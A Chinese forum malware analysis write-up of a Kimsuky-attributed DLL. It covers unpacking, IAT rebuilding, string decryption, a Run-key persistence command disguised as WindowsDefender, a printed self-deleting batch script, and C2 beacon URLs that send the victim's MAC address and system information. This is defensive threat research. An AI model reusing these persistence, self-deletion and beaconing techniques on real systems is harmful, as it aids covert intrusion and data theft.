bat循环执行 一秒一次_关于Kimsuky的一次恶意样本分析小记

3b21eae547facddebfa25f5722416490.png

本文为看雪论坛优秀文章

看雪论坛作者ID:不懂就不懂

前言

最近才开始关注朝鲜半岛相关的攻击行为,在看ESTS的相关文章,因为刚刚开始关注朝鲜半岛,拉撒路我就不考虑了。浏览的重点着重于Kimsuky相关PE样本。

看到最近的一篇和PE有关的样本分析文章为https://blog.alyac.co.kr/3091。观看该文章总结的攻击链应该为“WSF恶意脚本文件->释放恶意DLL文件和与COVID-19有关的迷惑性HWP文件”。

依据文章样本链除了最后一环有通信行为,其他样本应该是以Base64编码后硬编码在脚本文件中的,拿到初始样本可以不依据通信就还原整个攻击链,因此希望能够拿到初始链的WSF脚本样本。

依据确定IOC只有一条域名,于是拿着IOC去VT、微步、anyrun上找相关样本,但是最终只找到了最后所释放的dll。那就只好分析dll了。

动静分析

首先静态用IDA观察dllmain函数,发现在该函数中就获取了一个当前模块路径就返回了,可以确定相关恶意行为不在dll加载的时候执行。

d83d2cb499d7435043509e7cd1601302.png

使用LoaderPe观察该DLL的导出函数,具有四个导出函数。

8ade6a4d1c095cd1d012aad582a17a3d.png

一一查看后发现恶意行为在DllRegisterServer()这个导出函数之中。直接上OD,然而在调试的时候发现,有一些库函数并没有出现在IAT中,在动态调试的时候发现有了调用,在IDA中存在一个函数指针数组。然后我开始怀疑是在初始化的时候有调用。

7f73880ca409068166713cc520c73a46.png

根据引用发现有对该指针数组赋值的行为。该赋值行为存在在函数10009410之中。

d458f9a2de33a88e785e70b806a329f8.png

继续了解这个函数赋值行为从哪里来的。发现该函数也是存在于一个函数指针数组之中。查看引用,发现在Cinit函数中有调用,猜测到就是在初始化的时候循环调用了函数指针数组进行自定义一个类似IAT。

f9c2f319a7de9488b3d8188c48a59cb7.png

为了方便IDA浏览,我选择在运行到Winmain的时候直接dump出来,重建IAT。

可以有两种重建方式,一种方便快捷,ODdump的时候选择重建IAT即可。

ffbb612f4606a8728273863b633045c6.png

还有一种是新建一个节表。将IAT整体移走。分模块重新构建IAT。这一种有个缺点,就是你还得去修改代码段中相关函数调用的地址都要变为你重建的IAT之中。

7023c7a1da90095242b9714198360f42.png

相关字符串基本上都是加密的,有一篇文章介绍了类似的加密;可以参考博文https://sfkino.tistory.com/77

字符串可能都是以string这种类型进行保存的,和string字符串内存布局很像。但我记得string头四个字节应该保存的是指向自己的指针才对。

9277249df49712dc50cc6e95b9788314.png

获取环境变量%PROGRAMDATA%\对应的目录。将解密的字符串进行拼接,构造patch.dll的保存路径:

C:\ProgramData\Software\Microsoft\Windows\AutoPatch\patch.dll。

创建目录C:\ProgramData\Software\Microsoft\Windows\AutoPatch

继续拼接regsvr32.exe /s "C:\ProgramData\Software\Microsoft\Windows\AutoPatch\patch.dll"。

该字符串一个是用作run键的值,键名WindowsDefender。

9871229f0478eba08726e6b6d6e8fe24.png

另外一个是用作判断是否该模块在规定的目录下,如果不是的话将将dll拷贝纸规定的目录,然后会获取临时目录以及临时文件路径,尝试创建临时文件,在临时文件中添加如下代码,给临时文件加上.bat后缀然后执行该bat文件,可以看出该bat文件就是删除dll原本所在的路径和自身,最后以该字符串为创建进程参数进行进程创建。

bat文件代码:

:repeat    del "C:\Users\admin\Desktop\Patch.dll"    if exist "C:\Users\admin\Desktop\Patch.dll" goto repeat    del "%~f0"

d2edaf96740a0a0ffd9cb1b5e76733ae.png

之后创建一个名为chanel的互斥体。

aedd7d906347c8b65d420d824f4e711e.png

UAC相关查询:

5545ff7091fc8f0976234dc791d31678.png

获取当前Token:

f715cf4b7a38051e1100e738c0f37320.png

当获取不到Token或者UAC查询不都为0时,会重新创建进程,在管道中获取进程返回的信息。

b825d9b40684c02ebb69eb5693bcd371.png

获取调试权限:

cd0c204d3a543edc0c186d4c350f5121.png

之后就是创建了线程,然后在线程中创建了三个线程。

第一个线程,解密了C2,获取了MAC地址。

最终的拼接为http://chanel-love.org-help.com///?m=c&p1=000c2907d070。p1为十六进制的MAC地址。

解密数据包头,对url发起访问。将返回的数据保存在临时目录中的临时文件。

67f7a8b509bf57cc62d40be41c5e7f8e.png

读取临时文件对应字段,判断类型,然后执行对应操作,因为C2无响应,没有返回文件,我只能通过Kimsuky往常的行为和IDA静态观察来猜测行为了,如果猜错了,望大手子轻喷萌新分析。

  • v68 == 1时,函数内部有大量的堆空间申请释放,修改堆空间属性操作,初步猜测是对shellcode解密内存加载。

  • 当V69 ==2 时候,猜测是进行对文件信息的获取,以及落地相关文件。

  • 都不是的时候猜测为执行CMD命令,执行结果通过管道获取。
dcd0dee040f099ee4f41c251770e08c6.png 第二个线程为获取系统信息,拼接参数构造url,以Get的方式进行http请求。

4d6a991ffb64f17082e25f10cc1c4968.png

参数为:
//?m=a&p1=000c2907d070&p2=Win6.1.7600x86-Dropper-v3382363
p1= MAC地址
p2 = 系统信息 -Dropper-v3382363,后面这个v怀疑是版本。 下面是数据包头(三个线程都是用的这个数据包头)。
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
第三个线程也是获取一些信息进行拼接。
http://chanel-love.org-help.com///?m=e&p1=000c2907d070&p2=a&p3=f5e66e2ee89a3128aafca3327b18710ee9deaaa0
p1 = mac
p2 = a
p3 = dll一段内容的摘要 通信下载了一个临时文件(无响应)并执行。

cc7de904d6d443181db0bc54a0890391.png

总结

后续线程中很多行为需要基于响应的C2才能够完整分析,然而C2已经无响应了,我只能去各个Hunter平台,查看之前Kimsuky类似行为链的样本的pcap包,通过查看之前的pcap包以及各个线程所使用的API来推测相应的恶意行为。新手分析,还有很多分析不到位的地方,望大家多多包涵。

90cbd589a83a955e85db31c5cbc15fc0.gif - End -

37c3238d2be81348e916e9d0c6b5159d.png

看雪ID:不懂就不懂

https://bbs.pediy.com/user-795949.htm

  *本文由看雪论坛 不懂就不懂 原创,转载请注明来自看雪社区。

推荐文章++++

7d94f20286d2b15cdca43feba2720165.png

* 追踪活动中相遇CobaltStrike的故事

* PWN:unsafe unlink

* 断其粮道——内核级拒绝服务攻击

* Sandboxie循序渐进耳之监控篇上

* CVE-2017-0263 win32k漏洞分析笔记

﹀ ﹀ ﹀ 98134f67849a8bafb49f6b06c03597a3.png 公众号ID:ikanxue 官方微博:看雪安全 商务合作:wsc@kanxue.com 927bfb79-4f2b-eb11-8da9-e4434bdf6706.svg

求分享

937bfb79-4f2b-eb11-8da9-e4434bdf6706.svg

求点赞

03a88e6a4134b18d19ec264a8cdb1d32.gif

求在看

991346d8ccdf129fb9f79b74b7af0643.gif
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值